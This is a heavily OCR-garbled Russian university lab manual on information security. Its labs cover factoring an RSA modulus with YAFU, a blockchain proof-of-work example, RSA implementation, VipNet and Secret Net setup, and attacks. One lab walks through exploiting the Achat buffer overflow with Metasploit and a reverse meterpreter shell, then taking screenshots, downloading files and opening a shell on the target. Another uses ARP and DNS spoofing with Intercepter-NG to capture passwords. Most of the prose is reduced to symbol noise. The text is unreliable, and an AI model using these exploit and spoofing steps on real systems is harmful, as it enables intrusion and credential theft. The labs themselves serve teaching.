Pacunposannoe coodmenne: EEEEG—G rosepuT:

.2 $ %
! $ % % : 2% . $ : -
- $ 1 I # # . % * . ' # # -
% 1 % YAFU.
4. 7% 1 % % # . % % 23 -
( .3:

l ¥ C:\Windows\system32\cmd.exe ol =
I:\yafu-1.34>yafu-x64.exe nfs(82949219462478066589600397520329531321446561900480 ~
7308809968633524995841) -threads 4 =
starting SIQS on c72: 8294921946247806658960039752032953132144656190048073088099
68633524995841
===z sieving in progress ( 4 threads): 18432 relations needed ====
===z Press ctrl-c to abort and save state ===z
SIQS elapsed time = 2.9952 seconds.
pexxfactors foundxxx
P36 = 709818541541302670836986618473931089
P37 = 1168597530326015676162825428323016369 S

.3." - $ YAFU
( nfs— . - % 3%#2 % ' $ , % % -
: % $ % threads $ ,o-
- 13 $ $ % # L * 2.
* -6 % 1 , % $
*$ # : «May the force be with you» ( . 4).

Daxmopusyviime N ¢ noyouysio obuye2o semooa peutema 4iuc10eo20 noia

Coodmenne: 16eblacaed5d2227b2¢33d1041b55df472bca6240798007cf5a0aed84£59

e: 273842542184891212131408834864046716117496075835138688950759516706829651

N: 829492194624780665896003975203295313214465619004807308809968633524995841

Pacumponannoe coosmennuc: NNNTOREEENIRNGUM 1-o:<o-

.4 $ %
7.
1. & - ! % RSA.
2 %l |'# 7 % RSA?
3 % o, - /s ? /o 6., ?
4. & - | % |
0 -2%
+ , <. ; % " #
( 21 ! # $1 ' ! « / -
$ +, % »( + ), % $ , d.v.kostin@mail.ru
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+ :10.03.01+, % - ! #
8 % 3 , % - /3 , %- -
%#H2 |/ %/
# L ( , ( $ (
(< $
1.
+$# - I'$ - !/, - , I #
;! , - % I’ :
2. * ,
% # 1 # '$ - %, # ,-% /6' ,
3. " - :
% #2 %% ', /6' , %%
4. 2 :
* 6 , % ! ! % , $ !
+ # 12 % '$ -
5"
$ - 7 % % # - $
! , 13/ , %-2 .3 - $ ! %
1 / % #2 %
< $ ! 1 | # , % - , $
1 ! $ , ! / 3 , $ $ % 1 %
# ' % ,$ ! !
/ ' # 19 - %/ , % ! # 2
% , 23 ! % 2 ! 3/ .2 !
%1 'H# % % , # /! '3 1 !, %
, 1S % # 2 # , 2 $# ,% 2 #
%1 P, 3 # %3 ' - , % ! %
# ! , % ! $ , % # # !
* - / 23% ' %
5 1 ! # ! ( %1 14# 2! $ ) 2
$ % % %,$ / , # % — 1
| % :
5 | % 1& ' % , % , $ %
! - ! - ., % %, /6' 3 !
$.,%-2 , $ & ! $ % % !
: $ 2 6 ! 2 -
5 1 , $232 , % -2 % ! , 2 I, 1 31
/[ - 1 /6 3 ! , % , % , #
$ - ! , $ / ,
6 ! ! / ! % % ! % - %
* % , ! $ #2 % Python:
block = {
index": 1, #%o | -3
'timestamp': 1506057125.900785, #- % , %
'transactions’: [ # , %/ , 6% % - -
{ # % # % $ 3 3 $

‘'sender": "8527147fe1f5426f9dd545de4b27ee00"
'recipient’: "a77f5cdfa2934df3954a5c¢7c7da5dfif",
‘amount’: 5,

}

1,

proof 324984774000, # #

‘previous_hash': "2cf24dba5fb0a30e26e83b2ac5babzeeeSleaM25e73043362938b9824"

} #6' 3 !
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# ! ( proof) % % # %

#% %3 % - ,
# S % $ , # I # #
% . % , # # ! 3 ! I # ,
$! /6 sha-256 %% 6/ $ $ n- $ *$# $
' # %1 # % , 1 # # $ 1-
# .
% $ # ! 23 ! 1 $
sha256(324984774000+y) =000....% $ - %% % % ! /6'
$ , 23/ ).
y=0, sha256(324984774000+y) = 90327880a7e580b3814...
y=1, sha256(324984774000+y) = 33c0b810906bb6713b...
y=26455, sha256(324984774000+y) = 00007554923a2c....
, 6 26455 - . # ! I # , - !
L# .
31 1S - # % , # 1, , % - -
/ - ! , 1 $% # % -2 '$ - #,, ,
$ # # %1 # , % $ 1 %1 # # -
$ , I # 2 , # 2 # % " H# ,
% -
+ I % I'$ - % , # 23/ % , 2%
# % ! I # I'$ -
% , # ! , I'$ n! . ' ! / ! ,
% 3 / | , , $% - $ vl L # -
- $ ! ! - % ! , 1 % -
/ $ + 1 6 % ! 1 n+1- ! - $ -
$ /3 - $ ! % % ntl n+3, %1 % # n+l- !
1! , # - # - $ 6
#% % ! # %
block = {
index": 1, #%o | -3
‘timestamp': 1506057125.900785, #- % , %
'transactions’: [ # , %/ , 6% % - -
{ # % # % $ 3 3 $
‘'sender": "8527147fe1f5426f9dd545de4b27ee00"
'recipient’: "a77f5cdfa2934df3954a5c¢7c7da5dfif",
‘amount’: 5,
}
I,
‘proof': 324984774000, # # !
‘previous_hash': "2cf24dba5fb0a30e26e83b2ac5hab28é&e5c1fa7425e730433629380b9824"
}
# 3 % 6 ! % % 23% % 3 -
% 3-5!

{

‘index 1",

‘timestamp': 1506057125.910785,
'transactions’: [

{
‘'sender’: "8527147fe1f5426f9dd545de4b27ee00",

‘recipient; " $ "
‘amount': 5,

}

]1
'proof': 324984774000,
‘previous_hash': "2cf24dba5fb0a30e26e83b2ac5bab28é&e5c1fa7425e730433629380b9824"

2
{

'index 2",
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‘timestamp': 1530518790.7397919,
'transactions’: [

{

'sender’: 2! $ % "
'recipient’:
‘amount’: 5,

}
]

" 2! $

"Oroof: 26455,

‘previous_hash': "7ad968210259ceea07fb6eb65288295002ef752a6cef5ebfb96e26480d0b"

2
{

‘index 3",
‘timestamp': 1530518808.369221,
'transactions’: [

{
'sender": ‘2! $ %
'recipient’: " 2! $ %
‘amount’: 5,
}
I
'proof': 62029,
‘previous_hash': "94c410ad3559604d5237df4c2bb&lia4 752fa69b2a56e30bd8974e01cf7"
}
*$ 2 -3 , ! % 1 # % # I'$
% # , % % $ $ % ! ! % |/
- 23/
6. " < )
5 | # 2 $ ,$# 6 12 1 , - )
5 # ! 6 $ - , % /6' , 3 #
1 % 1 # , ' % # % , 3 , %
! . # % ' ;
5 .% # % % # 1& % , % % I'$ % , n -
n = 10,100,1000,10000, 100000, 1000 000. # &% ! $ $ % -,
10 $ % 3 2 ' n - .
5 2% % (! # %% 2% , 5 # % # % ! %
# - $ ! , # # - o# / - ! , %
/ $ .
5 * & # I'$ 2 , # # -3
0 -63%
+ , , <. ot «* (
», /! $ , mellin_22@mail.ru
+ 1 10.03.01+, % - ! # ; 10.03.02 - /
3 , % -
, 3 % 3 , % -
( ( 6 RSA
1.
" % /' % 1& % , 23/ % % $
/ , , % ! , % - $/ % / %
# $ 512! ! 23 , %
, % # 2% ' $ % % RSA.
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% % # %% % %% ' $

' $ , - 3 , % - , % -/ %/ * 1 -
- / $ % 512! %% % % Microsoft Visual Studio
Express 2012 %% # , % / / 2% -
3 % % RSA.
3" - :
*# % #2 ; %% % Microsoft Visual Studio Express 2012 ! -
: Microsoft Office Word 1 2007 1% $ , 2%$23
! -2 2 ! , % - $ % 512! ,
$
4, 2 :
. %% 3 232 -2 / $ {R,N} {D,N}, {R N}
! $ 2$ RSA, {D,N} # 2$ RSA.
5.
51.+:
* $ - # $ , %23 $/ #/ -
- % I
% $ —- $ , %23 / 13/
% ( ) % , / $ ,
! # 1 3 % % $ , ! $ 1#
% $ % % % ! %
! # %, % % 1
$ , 6 % %1 # % 7 #2 .8 %
% #'2 # # % 12 3 , 1
, % % $ 1 #
, - % / ! $ , - # $ , % - .
% $ , ', , % - , e -
% / $ % % %2 % #2 23/
$ , % I/ % # %1 ! , -2 , $ 2 #/ - .
, % - , - # . % '3 , - # ,
. 3 , % - - $ , .
9, -1 % ! , % - -/ /
-, % , 6 1 % % # % (% -
%, ", 1 $ 12 , - # % , % - 1
I #2 2! % Y # 2% 1 !
! %1/ %
8 #ooo—-, $ , ! $ 23 %1 # -
% 3 /$ %1 # 6 -
% % 1 $ , # ! -
3 % % 23% ( # %% $ ', .
%% $ )= %, /I 6 ,
2% 7 % ( # 337 % , % 12 ) # -
6 Y 13 - 6
Y, 13 # 23 .
25 -/ ® % 2% , % 23 %% -
$/ ',/ , # 1 ', , / % ! ! # 2 -
2% $ 2% % 2% - 23 ,
, , 33 !
23 - / 2% %% $ % !
"o- 8 % - % # % $ , - , $ -
#/ $ ,% #'/ 6 % % /
5.2.*
521.* - % % , % p -6 % $ ,
P, #2 ! % $ %, % a % 2
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5.2.2. - % % , % p-6
P, #2 ! % $ %, %
5.2.3. -1 ,
/ $ / I , 6
* H# - $ * % $ ! ! "#
2! :
1. ¢ %
2. 3 n&' (M) * s
5.3.
5.3.1. 30 2000 % : $
$ # #/ $ .7 2001
/! $ % % -— % % /I $
$ " / $ " $2 , %
[} -# [}
n—2! # $
5.3.2.< $ -
$ 1 - # $ , 1 $% ,
I 1) $ 2 % ."% $
/ 0 ! ,
n-—2! - $ 1&.
5.3.3.< % # $ 2)-
$ 1 - # $ .1 $ %
% #/ /) % # $ 2 % .<
%1 $# , % :
3 130
2 4
n-—2! - $ 1&.
5.3.4. < # $ (5)) -
$ 1 - # $ ., 1 $ %
#/ I ) # $ 2 % . <
$ % 1 # % 3#2 %
5) 6 Il 04
— 2! - $ 1&.
5.4. RSA
RSA - . $ % % 2$% 23
1 $ , - I #/ -/ % . % RSA
Il 3 i . % #
. $ / 1 , 2% PGP, SIMIME, TLS/SSL, IPSEC/IKE [/
* H# # RSA % | 2%
/ $/ % % # % $ % .* $ 1
! $ %1 # # 2% ', 13
I # , # % / $ % 1 # 13
%, # 6 1 %/ % % RSA
= 2$ y / L] Il Il
-2 6 - - 2% .
% / / 2% RSA 2%
1) 2 /I $ qgp 512  1024! 1 ;
2) $ / / $ N,
78 %
3) $ , - 8 6 $ 9
9 ! 87! %

24

%

%

% 2 p:
2
$ 3
- $
l$
| "
# *
/ , %, 1
1 %
/%
, , %, 1
1 %
% # $
, %, 1
1 %
#
$ #
% )
l#% $
[ v #]
| # .2
L $
/
$ / 6
! !
23%



4) ! - $ R, 6 L ! R I/ %
$! ! % % $ % 9 [ # 009
'$ $ R! $ , 13 I # $ $/ ! -
$ , % , $ "% :17,257 65537, 6% $ % -
I % " , # % ! # ! % # . -
% % $ . % '3, - # % L# # /1% RSA;
5 0% $ D® D 6 , 18 , $
% 3 ' % ), % # ! $ ; % 2 9
#$ 23 2 :
58; <9 =%
6) $ {R,N ! $ 2% ;
7) $ {D, N} # 2%
6. " < )
1) * $ #
2) +$ # $ 2 $ #.
3) # Microsoft Visual Studio Express 2012.
4) + # % I # %% - $ -
y %, / 5.4,, % - $ -
% .
5 1 # ! %1 # $ 512 1024
o, % $
6). ! # %% $ , I #
7. # %% / / 2% 9 -
% RSA, - $ # o# %% , !
% 5 6.
8) # %% ,
9) # # %%
10) , % # # 2 Microsoft Office Word.
7.
1. $ 2 % ?
2. -/ $ % 1 # % % ?
3.) $% , $ %  RSA?( # ?
4. $ 2% % RSA?
5. $ 2% % RSA?
6. # / $ # , % , 2% -
$ % % RSA?
7. % # % / / 2% RSA?
8. %1 ! #2 ", % RSA, 6 !
"% % ?
9. $ $% % # O# ! 6 ?
10. $ $ - 8 $ / / $
11. % ! %  $ 6 ?
12. % % $
13., % % "% ?
14. 1 I # $
-1 ?
15. $ - # , , % # ?
16. % 2 , $ % % 25% ?
+ , , <. : —* | %
/$ - +. ., , 9 . 6.9 -

sankar52@mail.ru, ssogonov@mail.ru
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+ :10.03.02+, % - ! #
. : - ! %#2 | %
* ’ 6
1. :
! $ 6 % 7 % % 3#2 %%
I $ Metasploit.
2. * .
# $ - « - %#2 | % »
l .
2 :
5 % # % %% I $ % / 6 - ;
5 - ! 6 - %% - / 3 , % - ;
5 / , - %% - / 3 , % - /I 1%
- %#2 |/ /.
5 # - %% I $ - #2 %1
5 3 # % 2 % | L %- . 23%
6 - %% I $ ;
5 # # # %% - / 3
, % - %#2 |/ /
O .
5 % ! 112 %% ' $ ;
5 % % %/ %% - / 3 , % - % #2
/ !
5 ,% % " , - %% - / 3 , % -
%#2 | /
3. " - ( :
2l ! %% I $ , 13 - 2 %
Kali Linux (https://www.kali.org/)
4. 2
# % %'
5"
a . ) — - ! % #2 %
% % % %" . - 7 6
% , 6 - % , ! % - 2 %
% %l ' # # Nmap. $ 1
/ 7 % 6 .8 (exploit) — % #2
%% (%% ), # 23 % * $ #2
% . 6 % 1 # # %  www.exploit-db.com, 1
2 . 232 , ! / % , ! # # 6 %
/I 3% Metasploit.
Metasploit — , % 6 , % !
# IDS / % , % - ! . %% !
$/ - %/ , %93 Windows.
6. "
1. Zenmap (https://nmap.org/zenmap/), IP- - %' , !
, # $ / ( .12).
* %% 1 3 / (80, 9255, 9256), $7%
1 %% —Achat( %1 !# %% ).
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L1 0 # Zenmap

2. * 6 %% Achat. 6 www.exploit-db.com.
) 2 % . %1 % # 6 -

e o

Advanced search
Date v D A V Titlke Platform Author
2015-02-11 @ « Achat 0.150 beta? - Bufter Overtiow
2009-04-27 § - «F MataChat Input.php’ Multiple Cross-Site Scripting Vuinerabliitics php Amir
2004.09-28 § - «F parachat 5.5 - Directory Traversal Vuinerability php Donato Ferrant.
.2)) 6
3. Metasploit. 6 metasploit-framework\bin ,
msfconsole.bat.
4. ) 6 %%  Achat % «search achat» ( . 3).
A\Windows\system32\cmd.exe (=) =) =3

msf > search achat
[*]1 Module datahase cache not bhuilt yet, using slow search

atching Modules

Name Disclosure Date Rank Descriptio

exploit/windows/misc/achat_bhof 2014-12-18 normal Achat Unicode SEH Bu
ffer Overflow

msf >

5. ! % 6 % % «use» % 6 ( .4).
* $ % «info» 1 %

f > use exploit/windows/misc/achat_bof
f exploit( > > info

Name : Achat Unicode SEH Buffer Overflow
Modul exploit/windows/misc/achat_bof
Platfor Windows
Privileged No
S Metasploit Framework License <(BSD>
Normal
2014-12-18

{peter.kaszalPitinsight . hu>
-bucsay@rycon.hu>

Available targets:
Name

Achat beta v0.150 / Windows XP SP3 ~/ Windows 7

Basic option

nt Setting Required Description

RHOST The target addre
RPORT 92256 5 The target port

4.1 6 % , % - %
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* % , % - ! % Basic options, -

% 7 %' I/ % # % .) I % r# 1 -
# % 1 % .
3 I #% % % 2 : RHOST - 7 / ,
LHOST ( info) — ' # ! , PAYLOAD —
. 1 6 %1 1 # .
6. Metasploit % ! / , ! % # #

% «show payloads». % % # win-
dows/meterpreter/reverse_tcp ($ 6 #
windows/shell_reverse_tcp 2 ). * ! # % %1

#/ %1 . E I % (cmd Win-
dows) /[ - 7 %'
7. ' % .
8. * # %1 # % 7 %' %1l % «check». % -
% 6 % .
9. * I %/ % % . 6 I/ % -
# % «exploit» 1 # ( .5).
. 5. %'
$ ! meterpreter % «help» % %1
| " S ! 1% shel 1C-13!
10. $ ' 7 %' # % «screenshot».
11. % # , 7 % , # % «download».
.6. $ , 7 %'
12. , 1 % ( .7 72 %' , # % «upload».
7.5 % , 1 %
13. 1% % # % «shell». $
$ / % ! % # % «chcp 65001».
14. $ ! I # P [ # 7 %' , %
«ipconfig» % / % % ( .8).
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.8.* % 7 %'

15. * D:\ . 3 , # %

«dir» (. 9).
. 9. . 3

16. 1% . secret.txt # , # % «type».

17. ' 2 7 %' , # % «exit», | %! -2 -
" Ctrl+C.
7.
1. $ I % Metasploit Nmap?
2. 6 ? 6 % I # # %' % ?
3. % 3 % 6
4. % 3 Nmap.
5. payload, ?
6. ?
7. 6 ?
8. ' - ?

(@)
|

N

©

+ , <. : % " #
( 21 ! # $1 ' ! « / -
$ +, % »( + ), % $ , d.v.kostin@mail.ru
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+ :10.03.01+, % - ! #

, : - ! %#2 | %

ARP-spoofing DNS-spoéﬁnq

1. :
*$# $ - ARP-spoofing, DNS-spoofing HSTS-
spoofing, 1 % 1 3 / .

2. % ,

a1 N

%% - 3 % - I 1%

5 $ , % - ! %% I'$ % / -
2

5 3 # % 2 % ! , % - , 23%

% % !
5 % % ¥ o %% - 3 % -
%#2 | /

2 ! %% ! $ Intercepter-NG (http://sniff.su/)
4.
5 | ! -1 , ! %' % .
5 %' % APR-spoofing # 1 2! -
1 , # arpwatch, ! 1# # 232 ARP-

5 % %' % DNS-spoofing #

5"
ARP-spoofing

ARP-spoofing ! % » /[, # 23/ -
ARP. %1 - ARP, -
# % ! %, %1 #  ARP- ! #
ARP-

ARP-spoofing

) 1 /% ARP-spoofing. % 23 - ! :
1) A B # % 2 % % . % ARP-
spoofing % , A ARP- ! - 1 IP MAC B, !I-
B 1 IP MAC A.
2) % ARP-spoofing C ARP ( ) — A B. ARP-
A 1 IP- B MAC- C. ARP- B 1 IP A MAC- C.
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3) * $ ARP- A B % 2 ARP I - , # ARP-! - A -

1 MAC C, IP- B, ARP-! - B 1 MAC C, -
IP- A.
4) % ! % %1 A B / $ C. AlS$ # % -
#2 B, A% 2 ARP-!- ]/ # IP- % B, !
MAC- C X C, %, $ -
B.
1 1% ARP-spoofing
+ 7 : ARP-spoofing
1 %1 '# # 1 arpwatch
# % , , % , % MAC I % IP .-
, arpwatch % / / % # 3 ARP-spoofing
I % %' # % / .
3 %1 # 23/ - :
5 + # # $ 2 ARP ! - | IP — MAC $ -
2 . % / I # $ ! -
ARP ! -
5 + # # VLAN, ARP-spoofing % 1 # % #2 1
%' / . % / / % ' % ,
%1 , / % .
5 + # # , 3 23 " / 3 %'
) % , PPPOE  IPSec.

DNS-spoofing
DNS ! $ IP % |/ . % #H2
$ DNS / $ 2 # DNS 6' , %1 !'# -
# ! 1 DNS

DNS-spoofing

! DNS-spoofing, %' /' % | #
DNS 1 # I % P , $ # % 7 -
1 . % ! % , DNS6 1 ! $ # # # IP
% % % .
Intercepter-NG
Intercepter-NG ! %% 2 -2 % |/ «$ -
» | . $ I'$ K %% $ ! # % -
ARP-spoofing DNS-spoofing, P 1 # % 3#2 arpwatch.
I % ! %% %1l # % IP MAC 23 ,
1% / ! Wireshark, % $ /'$ :
$ , % - , " -, 7%
% , % .
6. "
1. Intercepter-NG ! , ! .
2. Scan Mode ' ( .2). 6 1% 2
%" ! ! 1% Smart Scan.
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2., # Smart Mode

* Inrercepter-NG IP  MAC % '
(gateway) 2% % % / (IP: 192.168.0.54), 1 1 IP MAC
3 (Stealth IP).
3. ! # # % ' , # 2
%' ! Add as Gateway.
4. | 1 . 6 I/ % / # 2 % -
' ! Add to NAT.
5. %1 I % I % % ' % , 6 %
# o, , 23 + T % $ -
1 ) | # $ .
6. * 1% NAT. Stealth IP , P %
! # Sl % , 3 1 1# 1
1 # % IP % |/ , % ' 2.
7. | ARP-spoofing 12 # DV % ‘#
2% # 1% ( .4(1) 1% ARP Poison ( .4(2).
.4, ARP-spoofing
8. * 1% Password Modé ! % # /$ % / )
5 $ 3 yandex.ru '7 4pda.ru ! % -

HTTP %  test %  12345678.

5% /% , % - - ARP-spoofing

32



, Intercepter-NG
Intercepter-NG

9.) % 7% 11
1% ¥

,$ ! #  arpwatch*

10. $ 1
TECTED». ! % , 3

11 7% DNS-spoofing.

/ 1% Scan Mode,
12.C %3#2 %

% # 1
13. NAT
14. y ARP Poison
13
. 7))

7.
1. , ?
2. y ?
3. ARP-spoofing? /
4, DNG-spoofing? /
5. 3 # ARP-spoofing?
6. # % !
7. arpwatch. ! ?
0
+ t
( 21 ! #
$ +, %

6
$

, 3

1% NAT.

, %

I #

nslookup «%

.7 (1))

DNS 6'

-2%
<.

»( +

»

" % #H2 . 6 2% -
1% 3
3 % «ARP POISON DE-
MAC / ,
Intercepter-NG -
/ % ' NAT.
IP %
7(.2-7).

Intercepter-NG.

% %

$1

),
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aprwONE R

1 10.03.01+, % - ! # , -
’ % -
- % 3 , % -
+ "0%"' VipNet
+$# | % 1 % * ViPNet Coordinator HW.
1 # ! * ViPNet Coordinator HW.
*
3 # ! % % 33
3 # ! !/ / % :
# # # 6 % :
# 6 %
I % - /] / % ;
% % 23/ % :
% # % % % %
" - (
% #2 % %% % ' $ %
2
* # - 2 % % #2
# - 2 % % #2
# * ViPNet Coordinator HW.
# $#2 * ViPNet Coordinator HW.
) # * ViPNet Coordinator HW ! 33
$ $ $
= 1.
* # [ % 2% * ViPNet Coordinator HW. [ %
1. /%
* 2 % # ! USB- # #
# * ViPNet Coordinator HW % #2 , -
# $#2 , % % %
# , - , ' % *dst * .
2% + (ip-
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3+

%
* 12
% 3#2
2
/
% 3#2

SNog,rwNPEN
~

o

o

%
% ’

1%

%
1%

%

%

1%

1%/

%

%1

/

%
1% !

%1

%

%

%

i.vasilishin@narfu.ru,

»

#

%1

#

*

!%-
# $

2% # (ip-
2 * !
# ! 1! iplir;
% ;

! 1! iplir;

#
, 1% % #
* # ' !

1 *

ViPNet Coordinator HW #
dst; * ViPNet Coordinator HW
% # % % *
* ViPNet Coordinator HW?
1'$ ?
ViPNet- ?
ViPNet Coordinator HW % I #

%

-6%

, <. D« (%
' , %- /
| .
, 0.kunakov@narfu.ru
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+ :10.03.01+, % - ! #
, * %% - 3 , % -
$ Secret Net 7
1.
5 +$# % 1 3 , % - Secret Net 7.
5 I # % 2 3 , % - Secret Net 7.
2. * ,
5 # # 3 , % - Secret Net 7;
5 | # 1 % ! %% Secret Net 7.
0 :
5 ,% % $ % 1 ! ;
5 ,# % 1 |
3. " - (
5 - % 1 Windows 7:
5 - %  MS Windows Server 2003 - %
5 6% - #/ %' (VM-vare, VM-box D;
5 % '$ % @' .y
5 % '$ % a1 )y
5 3 , % - Secret Net 7.
4. 2
5 3 , % - Secret Net 7;
5 ! 3 , % - Secret Net 7;
5 $ 1 3 , % - Secret Net 7! / #
%
5 $ % 3 , % - Secret Net 7.
5.
+:
%  Secret Net, % - ! # % #2 1 $ %/ % %
3 .l % 3 - # % / %% / , $ 23/
,%- % % 1 3 23/ # #
-2 ! , / , % - ! #2
% , - % % ! 2 :
5 %/ % 3 , 23 1 % # ! % #2
5 # % / # % - #2 3 ' , % -
! .
- # % 1 Secret Net 2 % ! ' #
23 $
5 # 3 - / %
5 $# # ,%- % % ;
5 - I # % $ %
5 % %% ;
5 # 3# - % - ;
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5 # % $#
5 # 2 , -2 33 %/ % #2 3#
- % :
5 14# % 1 % [ , " 33 %/
%#H2 |
5 # , % - , 1° / ,
5 # % # % , % % #2
' $ |/ / $ % I #
%  Secret Net ( - % ) Windows.
+
% % 1% - %  Secret Net # # ,
- % .
% 1% , - % 1 # , -
% 3 , % 2 - % #
% %/ % / % / % $
5
# -6 ! %/ % 3 # % #2
3 % % ! % #2 #
# /8, % 1 - #
% #2 - D) % , # % ,
! I $ # ! 2 ! #/ # % #2 Y %%
# % $ 2 % # # # % , !
3% # 2 % % #2
< % % Secret Net 3 % % !
'$ % 6/ - %1 # # 2! % #2
% % - .
- - Secret Net ! #2 33 %% %
% 3 # - . < %
# % % ) % , % -
, # % #2 /! % # # . $ -
% % / % % % / # % # #
5 - Windows;
5 , ! 3 * (0 %% I''$ ) %  Secret Net: %%
%% # % .
% % / % % % / #
% 1 # # # (# Windows #
% Secret Net) %!
- % % %/ % - %
%% # %% " # %% /" - % 1
% | K %% / * % Secret Net.
)1 13 -
1$% % % !
Secret Net
# - , | 3/ * %
Secret Net, % #2 % 1 | # 23 %
5 % "Secret Net 7" % 1% , - ( I/ % 2% #
5 % " # - ");
5 % "Secret Net 7% %% "
# (
% 1% , - % Secret Net -
% % ! 33 %/ % #2 |/ % # #
. % 1& / / Active Directory % 2
I3 $ , / /1 % # ! % #2
* % % Secret Nefb | # / / % -
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6 % ! % # %#2 |, 1 3/ % , 2
$ / - $ |/ ! ¥ 6% 2
% / L) % # %2 % !
% / / Windows. 8 % % 2
%#H2 | % 2 $ / / !
%  Secret Netb # # 23
% % :
5 ! % / / Windows;
5 - , / / Windows, —
I %#2 .31 6 - ;
5 % . %% % Secret Net;
5 - , %% %
Secret Net, — I %#2 131 6 - ;
5 , ! %% %
Secret Net, — % I %#2 | , $ |/ 6 %
$ # / / %1 # -
% % $ % ! , % - % ) % , %1 #
3 % I %#2 % # # $ #/
% / - .8 % # %#2 |/
$/ - 13 % 6% # -, $
$ % #2 #/
+ (
* % / 33 %/ %#H2 | 12 % $ ,
% %/ % % Windows.* I % %
%1 # # # !  $ ! # - %
- / % %#H2 | .
* # ! / %1 3 # % 3#2 23/
5 % % / %% ;
5 % % gpudate secedit.
* ! %1 I # % #2 '
3 ! # -$! % # % , 2 #
/ # % 6 % - # %1
%% (% 2% % #2 )
/ % / %
: (
% 1% , - %  Secret Nefo 1 # % $
% ! . % 1 / , -
2 ! %/ % 3 # , 23/ $ % %
% * 6% ! 3 # # % /
/ - , / % .
)1 % / %$ -
# $ / 3 1& - Secret
Net %3 ! / % |/ 1! Active Directory. / 3 1& %3
AD- $ 25# % ! % 2 Group Policy Creator Owners.
* % $
1. + # , Active Directory -
2. * # % , %S % # %/ % 3 % / -
, # & % ,/ 3%
% %
# # $2 %1 #
5 # & % ™# # "t 9 #2 "l 3% 23 -
5 / / Windows # # #
$ (' #% % 2% #
Group Policy Creator Owners).
3. # % & % -

, Se'cretNetAdmins.
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o1 o1 o1 O

%

aprwhdPEN

o

+

&

o

o1 o1 O N

* O %/ % 3 Secret Net % % [/ %
% %1 # 23 :
% 1& ;
% # ;
! ;
% %/ % - (<) % %% (* ).
)1 13% % ! $ % % %
23/ %% / /
13 % % % ! Windows ! 2 % Secret Net8
% 2 % #2 % / 2 % / #
! ( % % 1% , - % 3 ) 1&
% # % ! ( % 1% , -
).
%  Secret Net % % 1 /
/ / Windows %%
! < )
# %% Secret Net 7 CD- ;
# , %% Secret Net 7;
% # % 1 % 3 % - % 3
%% Secret Net 7;
% # 1 - ! ;
, % # $ % % % ! ;
0+> $ ! ! #
) % 3 , %- Secret Net 7.
, % # $ % 1 - ! ?
L HO-2 1 ! ?
$% ! # - % 3 ?
) / , / Secret Net
-2%
) y <. : ! /
, ? +., Zhuravlev_2007@mail.ru
:10.03.01+, % - ! #
* %% - 3 , % -
# ‘ $ =6 (=)
+ $# , - 9 « »;
* $# 6 -2 9
*
# - ! 1
% 3 % 8 % 9 « ;
% 3 % , % - /! 8
% % $ % #2 |/ % / % 9 «
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5 # $ , % #H % % $ ,
# # , # 3 # 1% , '/ / , # # # ;
5 # # % % # # ;
5 - # % 8
5 # 6, 6 %% % 3 8 8 % 9
«
0 :
5 % % # %% - % ' / $ 1S
, % - ! % 9 « :
5 % # ! , 1 2 1% |/ %%
/ 3 , % - % 9
3. - (
! %1 # % , % * H#% % #
2 * ) , 2$23% % - %% % 9,
(*9 )« » 3.7
5 # ! 4 #/ %" % A8
(. ) % , # ' () , 9 , # % '
5 *9 3.7< * L % IPC25, *9 379 * | % IPC25, *
% k< « », % '
4. 2
# * 9 # % 9 < , 2%# 9 < .
5 , - 9 : «000000025em0*02BDem1*02BDem2*02BDem3*02BDem4*02»
5 , «em0x»: IP 216.115.92.1/24
5 , «em2»: IP 10.0.2.1/24
5 ' - % $ 2 :0.0.00/02 216.115.92.254
5"
" < 6
% 6 -2 3 2 23%
1. +- - 2% <
2.+ - - % * %% - % * Y«l# »
% %
3. % .
4. * # %% / % , 13/ 2 -
5 ! / 1 .
6. % ! 1% 2% , % -
7.) .
8. . - / 3 %
9. # , - / $1 %
*9 « » o, - 9 ! , % % «gate.cfg»,
1 , % -2 / % / . 2% 9 -, % % «keyset» —
1 2% 9 2% < L* /' % 33
9 < "% , , - 9 2%% 9 *
< ( ARM).
1. # 2% / $1 %
% ! 6 6 1% 2% , % - #
2% 2 23/ /% :! /% 2%
, - , 2 UsB- * - # * %%
* )< 1% .) % % 1$% % - 2%
2 2% 2% / % 2 USB- 2%
Rutoken8<* .
2.+ - - 2% /
3. 6 -2 - / /
4. ) %
', / %1 6 !
3 23 , # -2 IP- /' % / , '23 /1
11/ %

40



! / ! # # - #
8 #/ %' # % %
1.
1. /% # « »
1 23 # # :

5 10.0.1; /124 - % 22 / 33 %2 # - ;

5 196.115.92./24 196.115.93./124-% 2 ' - ;

5 216.115.92./24 216.115.93./124-% 2 ' , ;

5 10.0.2; /124 - % 22 / 33 %2 # ;

5 196.168.169./30 - # 9

+ (0

Router , - CuUsS , - < %
* . $ '2 - 9 #H2 « ». ARM $
'$ % % %% % 9, (*9
» % %% < %% % 1
KSH-main $ * 5 '2 « ».
# % #2 , ! # 2% 33 %
WS1 #  %#H2 33 %
6. " :
1. 2% # 9 1 # 1 & # & % , -
2% 9

2. % 2% # % 2% # USB-, ' - #

% < $! $# , - 23 , 9
o< I/ % # 6 9 6 $ 1 !

« / ‘2 », # % 2 « '2

' # -2 « # ‘2 ».

3. * « '2 » I % # «)
KSH_main, « , - » —
000000025em0*02BDem1*02BDem2*02BDem3*02BDem4*02BD # $

$

5 00000002 - ‘2 T %

5 5- % / , 9 ;

5 mo,eml, ..., em4 - / , ( FreeBSD);

5 *02BD- 1% ! , ( ! );

5 ffff — '3 $ ,oo-

4, I/ % | # $ % « 1 # %

‘2 » 1# & ».
5. "% « ‘2 » I % I # «t »
# , em0,em2 % ' -2 % $ 2
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6. * / % 9 * < « '2 » -
« 2% D) 6 -2 D) o
7. I/ % # USB-, ' , , - 2% . * <
1 # % 2 9 | # -2 o« # , -
-2 9 », # '% #  (11111), ! ' $
, % - , USB- ' # , ! / , - . $ % I -
% 1 # 2% 2 , % -2 $ « | # 3 % 23
# ».
8. % U/ % 23 # 9 2% # % # % 23 -
% . * $ , % - USB-, ' ! ' #
8) ! % $ # # , (
# ) 2%, % %%
9. * , - 23 - I/ %
6 -2 o< ) . % I/ % * < #
9 KSH_main «!3 » # $ « 6 -
-2 », 1 # « » ' I % 1 # ,$ 9 KSH main * < % -
« 2% : : 6 -2 : » 1 - ,
% , .
7. :
1. , - 2 %% % -9 ,< ., , , ¥ *Q « »?
2. $ $ 7 , - 9
000000074em0*02BDem1*02BDem2*02BDem3*02BDffff?
3. 1 # # # % %% % % # -
[ %#2 [ ?
4, 3 1 ! *9 « »?
5. $ 1 # $ % 9 - - , 1 % # -
232 - - : 0000000 4em0*02BDem1*02BDem2*02BDem3*02BDffff?
